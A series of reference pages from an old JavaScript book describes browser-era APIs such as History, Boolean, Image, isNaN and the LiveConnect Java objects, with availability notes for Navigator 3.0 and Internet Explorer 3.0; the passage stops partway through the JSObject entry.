The second form of the History.go() method takes a string argument. It is supposed to make the browser revisit the first (i.e., most recently visited) URL that contains the specified string. Unfortunately, in Navigator 2.0, this form of the method is buggy and may cause the browser to crash. This form of the method is not implemented in Internet Explorer 3.0.

Because of the various bugs and incompatibilities in this method, it is best avoided. Use the back() and forward() methods instead.

Bugs

This method does not work correctly in multiframe documents in Navigator 3.0, and may crash Navigator 2.0 when called with a string argument. Its behavior in Internet Explorer 3.0 is incompatible with Navigator 2.0.

See Also

"History", "History.back()", "History.forward()"

Previous | Home | Next
History.forward() | Book Index | History.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Boolean

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Boolean Object

Name

Boolean Object---support for Boolean values

Availability

Navigator 3.0

Constructor

new Boolean(value)

Arguments

value

The value to be held by the Boolean object. This argument will be converted to a Boolean value, if necessary. The values 0, null and the empty string "" are all converted to false. All other values, including the string "false", are converted to true.

Returns

The newly created Boolean object.

Methods

toString()

Return "true" or "false", depending on the Boolean value represented by the Boolean object.

valueOf()

Return the Boolean value represented by the Boolean object.

Description

Boolean values are a fundamental data type in JavaScript. The Boolean object is an object wrapper around the Boolean value. This Boolean object type exists solely to provide a toString() method to convert Boolean values to strings. When the toString() method is invoked to convert a Boolean value to a string (and it is often invoked implicitly by JavaScript) JavaScript internally converts the Boolean value to a transient Boolean object, on which the method can be invoked.

You can create Boolean objects that are not transient by calling the Boolean() constructor method. One reason you might occasionally want to do so is to force a conversion of another value to a Boolean value. Having created a Boolean object, you can use it freely wherever JavaScript expects a primitive Boolean value--JavaScript will automatically invoke the valueOf() method to return the primitive value of the Boolean object.

See Also

"Object"

Previous | Home | Next
blur() | Book Index | Boolean.prototype
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.length Property

Name

History.length Property---number of elements in history array

Availability

Navigator 2.0, implemented but nonfunctional in Internet Explorer 3.0

Synopsis

history.length

Description

The length property specifies the number of elements there are in the history object. This value is usually only useful in Navigator 3.0 when the data-tainting security model is implemented, and the actual array of URLs is accessible through the History object.

In Internet Explorer 3.0, the length property always returns 0.

See Also

"History"

Previous | Home | Next
History.go() | Book Index | History.next
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.next

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.next Property

Name

History.next Property---the URL of the next document in the history array

Availability

Navigator 3.0, when data tainting is enabled

Synopsis

history.next

Description

The next property of the History object is a read-only string that contains the URL of the document after the current one in the history array.

See Also

"History", "History.previous"

Previous | Home | Next
History.length | Book Index | History.previous
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: History.previous

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

History.previous Property

Name

History.previous Property---the URL of the previous document in the history array

Availability

Navigator 3.0, when data tainting is enabled

Synopsis

history.previous

Description

The previous property of the History object is a read-only string that contains the URL of the document before the current one in the history array.

See Also

"History", "History.next"

Previous | Home | Next
History.next | Book Index | Image
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image Object

Name

Image Object---an embedded image in an HTML document

Availability

Navigator 3.0

Synopsis

document.images[i]
document.images.length
document.image-name

Constructor

new Image([width, height]);

Arguments

width, height

An optionally specified width and height for the image.

Returns

A newly created Image object.

Properties

border

A read-only integer that specifies the width, in pixels, of the border around an image. Its value is set by the BORDER attribute.

complete

A read-only Boolean that specifies whether the image is completely loaded yet.

height

A read-only integer that specifies the height, in pixels, of the image. Its value is set by the HEIGHT attribute.

hspace

A read-only integer that specifies the amount of extra horizontal space, in pixels, inserted on the left and right of the image. Its value is set by the HSPACE attribute.

lowsrc

A read/write string that specifies the URL of an alternate image, suitable for display at low resolutions. Its initial value is set by the LOWSRC attribute.

name

A read-only string, specified by the HTML NAME attribute, that specifies the name of the image. When an image is given an name with the NAME attribute, a reference to the image is placed in the image-name property, in addition to being placed in the document.images[] array.

src

A read/write string that specifies the URL of the image to be displayed. Its initial value is set by the SRC attribute.

vspace

A read-only integer that specifies the amount of extra vertical space, in pixels, inserted above and below the image. Its value is set by the VSPACE attribute.

width

A read-only integer that specifies the width, in pixels, of the image. Its value is set by the WIDTH attribute.

Event Handlers

onabort

Invoked if the user aborts the download of an image.

onerror

Invoked if an error occurs while downloading the image.

onload

Invoked when the image successfully finishes loading.

HTML Syntax

The Image object is created with a standard HTML <IMG> tag, with the addition of event handlers. Some <IMG> attributes have been omitted from the syntax below, because they are not used by or accessible from JavaScript.

<IMG SRC="url" the image to display
     WIDTH=pixels the width of the image
     HEIGHT=pixels    the height of the image
     [ NAME="image_name" ]    a property name for the image
     [ LOWSRC="url" ] alternate low-resolution image
     [ BORDER=pixels ]    width of image border
     [ HSPACE=pixels ]    extra horizontal space around image
     [ VSPACE=pixels ]    extra vertical space around image
     [ onLoad=handler ]   invoked when image fully loaded
     [ onError=handler ]  invoked if error in loading
     [ onAbort=handler ]  invoked if user aborts load
>

Description

The Image objects in the document.images[] array represent the images embedded in an HTML document using the <IMG> tag. Most of the properties of this object are currently read-only. The src and lowsrc properties are exceptions, however. Usually, the src (and perhaps lowsrc) properties are set once, when the Image object is created from HTML. But these properties may also be set dynamically. When you set the src property, the browser will load the image specified by the new value of the src property, or by the lowsrc property, if specified, for low-resolution monitors. Note that if you want to use the lowsrc property, you must set it before you set the src property, because setting the src property starts the download of the new image.

You can dynamically create Image objects in your JavaScript code using the Image() constructor function. Note that this constructor method does not have an argument to specify the image to be loaded. As with images created from HTML, you tell Navigator to load an image by setting the src property of any images you create explicitly. There is no way to display an Image object in the web browser. All you can do is force the Image object to download an image by setting the src property. This is useful, however, because it loads an image into the browser's cache. Later, if that same image URL is specified for one of the images in the images[] array, it will be preloaded, and will be displayed quickly. You might do this with lines like the following:

document.images[2].src = preloaded_image.src;
document.toggle_image.src = toggle_off.src;

Usage

Setting the src property of an Image object can be used to implement simple animations in your web pages. It is also an excellent technique for changing the graphics on a page as the user interacts with the page. For example, you might create your own "submit" button using an image and a hypertext link. The button would start out with a "disabled" graphic and remain that way until the user had correctly entered all the required information into the form, at which point the graphic would change, and the user would be able to submit the form.

See Also

"Document"

Previous | Home | Next
History.previous | Book Index | Image.border
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.border

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.border Property

Name

Image.border Property---border width of an image

Availability

Navigator 3.0

Synopsis

image.border

Description

The border property of the Image object is a read-only integer that specifies the width, in pixels, of the border the browser places around images that are hypertext links. The value of this property is specified by the BORDER attribute of the <IMG> HTML tag.

See Also

"Image"

Previous | Home | Next
Image | Book Index | Image.complete
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.complete

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.complete Property

Name

Image.complete Property---whether an image load is complete

Availability

Navigator 3.0

Synopsis

image.complete

Description

The complete property is a read-only Boolean value that specifies whether an image is completely loaded, or, more accurately, whether the browser has completed its attempt to load the image. If an error occurs during loading, or if the load is aborted, the complete property will still be set to true.

See Also

"Image",
"Image.onabort()",
"Image.onerror()",
"Image.onload()"

Previous | Home | Next
Image.border | Book Index | Image.height
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.height

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.height Property

Name

Image.height Property---the height of an image

Availability

Navigator 3.0

Synopsis

image.height

Description

The height property of the Image object is a read-only integer that specifies the height of image. It is set by the HEIGHT attribute of the <IMG> HTML tag.

The HEIGHT attribute is optional in HTML, but including it greatly improves the layout time of your pages. Also, because of a bug, in Navigator 2.0 all images in a page that contains JavaScript must have WIDTH and HEIGHT attributes specified (even though the Image object is not available in 2.0).

See Also

"Image"

Previous | Home | Next
Image.complete | Book Index | Image.hspace
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.hspace

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.hspace Property

Name

Image.hspace Property---horizontal padding for an image

Availability

Navigator 3.0

Synopsis

image.hspace

Description

The hspace property of the Image object is a read-only integer that specifies the number of extra blank pixels that will appear to the left and right of the image in the browser window. The value of this property is specified by the HSPACE attribute of the <IMG> tag.

See Also

"Image"

Previous | Home | Next
Image.height | Book Index | Image.lowsrc
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.lowsrc

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.lowsrc Property

Name

Image.lowsrc Property---alternate image for low-resolution displays

Availability

Navigator 3.0

Synopsis

image.lowsrc

Description

The lowsrc property of the Image object is a read/write string that specifies the URL of an alternate image (usually a smaller one) to display when the user's browser is running on a low-resolution monitor. The initial value is specified by the LOWSRC attribute of the <IMG> tag.

Setting this property has no immediate effect. If the src property is set, however, a new image will be loaded, and on low-resolution systems, the current value of the lowsrc property will be used instead of the newly updated value of src.

See Also

"Image"

Previous | Home | Next
Image.hspace | Book Index | Image.name
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.name

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.name Property

Name

Image.name Property---the name of an image

Availability

Navigator 3.0

Synopsis

image.name

Description

name is a read-only string property of the Image object. Its value is specified by the NAME attribute of the HTML <IMG> tag that creates the Image object. Image objects created with the Image() constructor function do not have names, and cannot have names assigned.

Usage

Images created in an HTML document with the <IMG> tag are listed in the document.images[] array in JavaScript. If an image is given a name, then the image is also stored in a property with that name in the document object. For example, an image with the attribute:

NAME="toggle_button"
could be referred to as:

document.toggle_button

See Also

"Image"

Previous | Home | Next
Image.lowsrc | Book Index | Image.onabort()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Boolean.prototype

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Boolean.prototype Property

Name

Boolean.prototype Property---see "Function.prototype"

Previous | Home | Next
Boolean | Book Index | Boolean.toString()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.onabort()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.onabort() Handler

Name

Image.onabort() Handler---invoked when user aborts image loading

Availability

Navigator 3.0

Synopsis

<IMG SRC="url"
     onAbort="handler"    a definition of the handler
     ...>
image.onabort a reference to the handler
image.onabort();  an explicit invocation of the handler

Description

onabort() is an event handler invoked when the user aborts the loading of an image (for example, by clicking the Stop button). This event handler is defined by the onAbort attribute of an <IMG> tag. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed only when the user aborts loading for the specified image.

See Also

"Image", "Image.onerror()", "Image.onload()"

Previous | Home | Next
Image.name | Book Index | Image.onerror()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.onerror()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.onerror() Handler

Name

Image.onerror() Handler---invoked on error during image loading

Availability

Navigator 3.0

Synopsis

<IMG SRC="url"
     onError="handler"    a definition of the handler
     ...>
image.onerror a reference to the handler
image.onerror();  an explicit invocation of the handler

Description

onerror() is an event handler invoked when an error occurs while the specified image is loading (for example, the network goes down, or the specified URL does not contain image data). This event handler is defined by the onError attribute of an <IMG> tag. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed only when an error occurs while loading the specified image.

See Also

"Image", "Image.onabort()", "Image.onload()"

Previous | Home | Next
Image.onabort() | Book Index | Image.onload()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.onload()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.onload() Handler

Name

Image.onload() Handler---invoked when image finishes loading

Availability

Navigator 3.0

Synopsis

<IMG SRC="url"
     onLoad="handler" a definition of the handler
     ...>
image.onload  a reference to the handler
image.onload();   an explicit invocation of the handler

Description

onload() is an event handler invoked when the browser successfully finishes loading the image specified by an <IMG> tag. This event handler is defined by the onLoad attribute of an <IMG> tag. The value of this attribute may be any number of JavaScript statements, separated by semicolons; these statements will be executed when the image is completely loaded.

See Also

"Image", "Image.onabort()", "Image.onerror()"

Previous | Home | Next
Image.onerror() | Book Index | Image.src
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.src

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.src Property

Name

Image.src Property---URL of the embedded image

Availability

Navigator 3.0

Synopsis

image.src

Description

The src property of the Image object is a read/write string that specifies the URL of the image to be displayed by the browser. The initial value of this property is specified by the SRC attribute of the <IMG> tag.

When you set this property to the URL of a new image, the browser will load and display that new image (or, on low-resolution systems, the image specified by the lowsrc property). This is very useful for updating the graphical appearance of your web pages in response to user actions, and can also be used to perform crude animation.

See Also

"Image"

Previous | Home | Next
Image.onload() | Book Index | Image.vspace
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.vspace

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.vspace Property

Name

Image.vspace Property---vertical padding for an image

Availability

Navigator 3.0

Synopsis

image.vspace

Description

The vspace property of the Image object is a read-only integer that specifies the number of extra blank pixels that will appear above and below the image in the browser window. The value of this property is specified by the VSPACE attribute of the <IMG> tag.

See Also

"Image"

Previous | Home | Next
Image.src | Book Index | Image.width
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Image.width

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Image.width Property

Name

Image.width Property---the width of an image

Availability

Navigator 3.0

Synopsis

image.width

Description

The width property of the Image object is a read-only integer that specifies the width of image. It is set by the WIDTH attribute of the <IMG> HTML tag.

The WIDTH attribute is optional in HTML, but including it greatly improves the layout time of your pages. Also, because of a bug, in Navigator 2.0 all images in a page that contains JavaScript must have WIDTH and HEIGHT attributes specified (even though the Image object is not available in 2.0).

See Also

"Image"

Previous | Home | Next
Image.vspace | Book Index | isNaN()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: isNaN()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

isNaN() Function

Name

isNaN() Function---check for Not-a-Number

Availability

Navigator 3.0; Unix platforms in Navigator 2.0; implemented but nonfunctional in Internet Explorer 3.0

Synopsis

isNaN(x)

Arguments

x

The value to be tested.

Returns

true if x is the reserved value NaN (not-a-number); false if x is a legal number, string, or any other type.

Description

isNaN() tests its argument to determine whether it is the reserved value NaN, which represents an illegal number (such as the result of division by zero). This function is required, because comparing a NaN with any value, including itself, always returns false, so it is not possible to test for NaN with the == operator.

The NaN value is not implmemented in Internet Explorer 3.0, so isNaN() always returns false on that platform.

A common use of isNaN() is to test the result of parseFloat() and parseInt() to determine if they represent legal numbers. You can also use it to check for arithmetic errors, such as division by zero.

See Also

"Number.NaN", "parseFloat()", "parseInt()"

Previous | Home | Next
Image.width | Book Index | java
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: java

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

java Property

Name

java Property---the java.* package

Availability

Navigator 3.0

Synopsis

java

Description

java is a global property of the Window object, and is usually used without reference to any particular window. It is a synonym for Packages.java, and contains a read-only reference to a JavaPackage object that represents the top node of the java.* package name hierarchy. The java Package contains, for example, a lang property which is a reference to the JavaPackage object for the java.lang package.

See Also

"JavaPackage", "Packages.java"

Previous | Home | Next
isNaN() | Book Index | JavaArray
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JavaArray

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JavaArray Object

Name

JavaArray Object---JavaScript representation of a Java array

Availability

Navigator 3.0

Synopsis

javaarray.length  the length of the array
javaarray[index]    read or write an array element

Properties

length

A read-only integer that specifies the number of elements in the Java array represented by the JavaArray object.

Description

The JavaArray object is a JavaScript representation of a Java array, and it allows JavaScript code to read and write the elements of the array using familiar JavaScript array syntax. In addition, the JavaArray object has a length field which specifies the number of elements in the Java array.

When reading and writing values from array elements, data conversion between JavaScript and Java representations is automatically handled by the system. See Chapter 19, LiveConnect: JavaScript and Java for full details.

Usage

Note that Java arrays differ from JavaScript arrays in a couple of important aspects. First, Java arrays have a fixed length that is specified when they are created. For this reason, the JavaArray length field is read-only. The second difference is that Java arrays are typed--i.e., their elements must all be of the same type of data. Attempting to set an array element to a value of the wrong type will result in a JavaScript error.

Example

java.awt.Polygon is a JavaClass object. We can create a JavaObject representing an instance of the class like this:

p = new java.awt.Polygon();

This object p has properties xpoints and ypoints which are JavaArray objects representing Java arrays of integers. We could initialize the contents of these arrays with JavaScript code like the following:

for(int i = 0; i < p.xpoints.length; i++)
    p.xpoints[i] = Math.round(Math.random()*100);
for(int i = 0; i < p.ypoints.length; i++)
    p.ypoints[i] = Math.round(Math.random()*100);

See Also

"getClass()", "java", "JavaClass", "JavaObject", "JavaPackage", "Packages", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
java | Book Index | JavaArray.length
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JavaArray.length

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JavaArray.length Property

Name

JavaArray.length Property---the number of elements in a Java array

Availability

Navigator 3.0

Synopsis

javaarray.length

Description

The length property of the JavaArray object is a read-only integer that specifies the number of elements in the Java array represented by the JavaArray object. This property is read-only because arrays in Java have a fixed length.

See Also

"getClass()", "java", "JavaArray", "JavaClass", "JavaObject", "JavaPackage", "Packages", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JavaArray | Book Index | JavaClass
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: Boolean.toString()

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

Boolean.toString() Method

Name

Boolean.toString() Method---convert a Boolean value to a string

Availability

Navigator 3.0

Synopsis

b.toString()

Arguments

None.

Returns

The string "true" or "false", depending on the value of the Boolean variable or Boolean object b.

See Also

"Boolean", "Object.toString()"

Previous | Home | Next
Boolean.prototype | Book Index | Boolean.valueOf()
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JavaClass

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JavaClass Object

Name

JavaClass Object---JavaScript representation of a Java class

Availability

Navigator 3.0

Synopsis

javaclass.static_field  read or write a static Java field
new javaclass(...)    create a new Java object

Properties

Each JavaClass object contains properties that have the same names as the public static fields and methods of the Java class it represents. These properties allow you to read and write the static fields of the class. Each JavaClass object has different properties; you can use a for/in loop to enumerate them for any given JavaClass object.

Description

The JavaClass object is a JavaScript representation of a Java class. The properties of a JavaClass object represent the public static fields and methods (sometimes called class fields and class methods) of the represented class. Note that the JavaClass object does not have properties representing the instance fields of a Java class--individual instances of a Java class are represented by the JavaObject object.

The JavaClass object implements the LiveConnect functionality that allows JavaScript programs to read and write the static variables of Java classes using normal JavaScript syntax. The JavaClass object also provides the functionality that allows JavaScript to read the static methods of a Java class, although it is the JavaMethod object that allows JavaScript to actually invoke those methods.

Besides allowing JavaScript to read and write Java variable and method values, the JavaClass object also allows JavaScript programs to create Java objects (represented by a JavaObject object) by using the new keyword and invoking the constructor method of a JavaClass.

The data conversion required for communication between JavaScript and Java through the JavaClass object is handled automatically by LiveConnect. See Chapter 19, LiveConnect: JavaScript and Java for full details.

Usage

Bear in mind that Java is a typed language. This means that each of the fields of an object have a specific data type, and you can only set them to values of that type. Attempting to set a field to a value that is not of the correct type will result in a JavaScript error. Attempting to invoke a method with arguments of the wrong type will also cause an error.

Example

java.lang.System is a JavaClass object that represents the java.lang.System class in Java. You can read a static field of this class with code like the following:

var java_console = java.lang.System.out;

You can invoke a static method of this class with a line like this one:

var version = java.lang.System.getProperty("java.version");

Finally, the JavaClass object also allows you to create new Java objects like this:

var java_date = new java.lang.Date();

See Also

"getClass()", "java", "JavaArray", "JavaMethod", "JavaObject", "JavaPackage", "Packages", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JavaArray.length | Book Index | JavaMethod
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JavaMethod

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JavaMethod Object

Name

JavaMethod Object---JavaScript representation of a Java method

Availability

Navigator 3.0

Synopsis

javamethod(...)   invoke an instance method

Description

The JavaMethod object is a JavaScript representation of a Java method. It is the part of LiveConnect that implements the functionality that allows JavaScript to invoke class and instance methods accessed through the JavaClass and JavaObject objects. See Chapter 19, LiveConnect: JavaScript and Java for full details.

Usage

Bear in mind that Java is a typed language. This means that the arguments passed to a JavaMethod must be compatible with the type of the expected arguments. If arguments of the wrong type are passed, a JavaScript error will occur.

Example

java.lang is the name of a JavaPackage. It contains the JavaClass java.lang.System This class has a property out which is an JavaObject. This JavaObject has a property println, which is a JavaMethod. LiveConnect allows us to invoke this Java method using JavaScript syntax with code like the following:

java.lang.System.out.println("Hello from Java!");
The line of code above will write a message on the Java console. (See the Options menu to pop up the Java console in Navigator 3.0.)

See Also

"getClass()", "java", "JavaArray", "JavaClass", "JavaObject", "JavaPackage", "Packages", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JavaClass | Book Index | JavaObject
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JavaObject

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JavaObject Object

Name

JavaObject Object---JavaScript representation of a Java object

Availability

Navigator 3.0

Synopsis

javaobject.field    read or write an instance field

Properties

Each JavaObject object contains properties that have the same names as the public instance fields and methods (but not the static or class fields and methods) of the Java object it represents. These properties allow you to read and write the value of public fields. The properties of a given JavaObject object obviously depend on the type of Java object it represents. You can use the for/in loop to enumerate the properties of any given JavaObject.

Description

The JavaObject object is a JavaScript representation of a Java object. The properties of a JavaObject object represent the public instance fields and public instance methods defined for the Java object. (The class or static fields and methods of the object are represented by the JavaClass object.)

The JavaObject object implements the LiveConnect functionality that allows JavaScript programs to read and write the public instance fields of a Java object, using normal JavaScript syntax. The JavaObject also provides the functionality that allows JavaScript to read the methods of a Java object, although it is the JavaMethod object that allows JavaScript to actually invoke those methods. Data conversion between JavaScript and Java representations is handled automatically by LiveConnect. See Chapter 19, LiveConnect: JavaScript and Java for full details.

Usage

Bear in mind that Java is a typed language. This means that each of the fields of an object have a specific data type, and you can only set them to values of that type. For example, the width field of a java.awt.Rectangle object is an integer field, and attempting to set it to a string will cause a JavaScript error to occur.

Example

java.awt.Rectangle is a JavaClass that represents the java.awt.Rectangle class. We can create a JavaObject that represents an instance of this class like this:

var r = new java.awt.Rectangle(0,0,4,5);
And then we can read the public instance variables of this JavaObject r with code like this:

var perimeter = 2*r.width + 2*r.height;
We can also set the value of public instance variables of r using JavaScript syntax:

r.width = perimeter/4;
r.height = perimeter/4;

See Also

"getClass()", "java", "JavaArray", "JavaClass", "JavaMethod", "JavaPackage", "Packages", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JavaMethod | Book Index | JavaPackage
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JavaPackage

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JavaPackage Object

Name

JavaPackage Object---JavaScript representation of a Java package

Availability

Navigator 3.0

Synopsis

package.package_name    refers to another JavaPackage
package.class_name  refers to a JavaClass object

Properties

The properties of a JavaPackage object are the names of the JavaPackage objects and JavaClass objects that it contains. These properties will be different for each individual JavaPackage. Note that it is not possible to use the JavaScript for/in loop to iterate over the list of property names of a Package object. Consult a Java reference manual to determine the packages and classes contained within any given package.

Description

The JavaPackage object is a JavaScript representation of a Java package. A package in Java is a collection of related classes. In JavaScript, a JavaPackage can contain classes (represented by the JavaClass object) and it can also contain other JavaPackage objects.

For example, the JavaPackage object named java has properties named lang and net, among others, that are references to other JavaPackage objects, which represent the java.lang and java.awt packages. The java.awt JavaPackage contains properties named Frame and Button, which are both references to JavaClass objects, and represent the classes java.awt.Frame and java.awt.Button. The java.awt JavaPackage object also contains a property named image, which is a reference to yet another JavaPackage object, this one representing the java.awt.image package.

As you can see, the property naming scheme for the JavaPackage hierarchy mirrors the naming scheme for Java packages. Note that there is one big difference between the JavaPackage object and actual Java packages. Packages in Java are collections of classes, not collections of other packages. So the JavaPackage object named java does not actually represent a package in Java, but is simply a convenient placeholder for other JavaPackages that do represent java.lang, java.net, java.io, and other core Java packages.

On many systems, Java classes are installed in files in a directory hierarchy that corresponds to the package name. (For example, the java.lang.String class is stored in the file java/lang/String.class in my Java implementation from Sun. In other implementations, notably that from Netscape, the class files are actually stored in a large, uncompressed zip file. The directory hierarchy is still there; it is just less visible.) Therefore, instead of thinking of the JavaPackage object as representing a Java package, you may find it clearer to consider it as representing a directory in the Java class hierarchy.

In the above discussion, we've been referring to a JavaPackage object named java, but we haven't said where this java object comes from--i.e., what java is a property of. The java JavaPackage object is actually a property of every Window object, which makes it a "global" variable in client-side JavaScript. Since every JavaScript expression is evaluated in the context of one window or another, you can always just use java, and know that you will be referring to the JavaPackage object you want.

There are other global JavaPackage objects as well. The sun JavaPackage refers to Java packages from Sun Microsystems, which have names beginning with "sun." Similarly, the netscape JavaPackage refers to Java packages from Netscape. Finally, the Packages property is a JavaPackage object that contains references to each of these java, sun, and netscape JavaPackages. Thus, you can use Packages.java as a synonym for java, when you want to be more explicit about just what it is that you are referring to (or when you already have a local variable named java).

As we've said above, a JavaPackage object contains properties for each of the packages and classes it contains. If you think of a JavaPackage as representing a directory in the Java class directory hierarchy, then the properties of the JavaPackage are the contents of the directory. Each subdirectory of the directory becomes a JavaPackage property, with the package name matching the subdirectory name. Each file in the directory (these "class files" contain the Java byte code that implements the class) becomes a JavaClass property, with the property name matching the file name, after the .class extension is stripped off.

In Navigator 3.0 it is not possible to use the for/in loop to determine the names of the packages and classes contained within a JavaPackage. You must have this information in advance. You can find it in any Java reference manual, or by examining the Java class hierarchy yourself.

See Chapter 19, LiveConnect: JavaScript and Java for further details on working with Java packages, classes, and objects.

Usage

With all this explanation behind us, it is now possible to see how we can use JavaPackage objects to refer to any Java class. The java.lang.System class, for example is:

java.lang.System
Or:

Packages.java.lang.System

Similarly, the netscape.javascript.JSObject class is:

Packages.netscape.javascript.JSObject

See Also

"java", "JavaArray", "JavaClass", "JavaObject", "netscape", "Packages", "sun", Chapter 19, LiveConnect: JavaScript and Java

Previous | Home | Next
JavaObject | Book Index | JSObject
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 21] Reference: JSObject

JavaScript: The Definitive Guide

Previous Chapter 21
JavaScript Reference 		Next

JSObject Java Class

Name

JSObject Java Class--- Java representation of a JavaScript object

Availability

In the netscape.javascript package included with Navigator 3.0

Synopsis

public final class netscape.javascript.JSObject extends Object

Methods

call()

Invoke a method of the JavaScript object.

eval()

Evaluate a string of JavaScript code in the context of the JavaScript object.

getMember()

Get the value of a property of the JavaScript object.

getSlot()

Get the value of an array element of the JavaScript object.

getWindow()

Get a "root" JSObject that represents the JavaScript Window object of the web browser.

removeMember()

Delete a property from the JavaScript object.

setMember()

Set the value of a property of the JavaScript object.

setSlot()

Set the value of an array element of the JavaScript object.

toString()

Invoke the JavaScript toString() method of the JavaScript object, and return its result.

Description

The JSObject is a Java class, not a JavaScript object; it cannot be used in your JavaScript programs, Instead, the JSObject is used by Java applets that wish to communicate with JavaScript by reading and writing JavaScript properties and array elements, by invoking JavaScript methods, and by evaluating and executing arbitrary strings of JavaScript code. Obviously, since JSObject is a Java class, you must understand Java programming in order to use it.

A Java applet that wishes to use the JSObject class must obtain an initial JSObject instance that represents the web browser window that the applet is running in. The JSObject class does not define a constructor method, so the only way to obtain this initial instance is by invoking the static getWindow() method, and passing it the java.applet.Applet instance that represents the applet. This static method returns a "root" JSObject instance, and you can use the getMember() and getSlot() methods to obtain any other JSObjects that the applet requires.

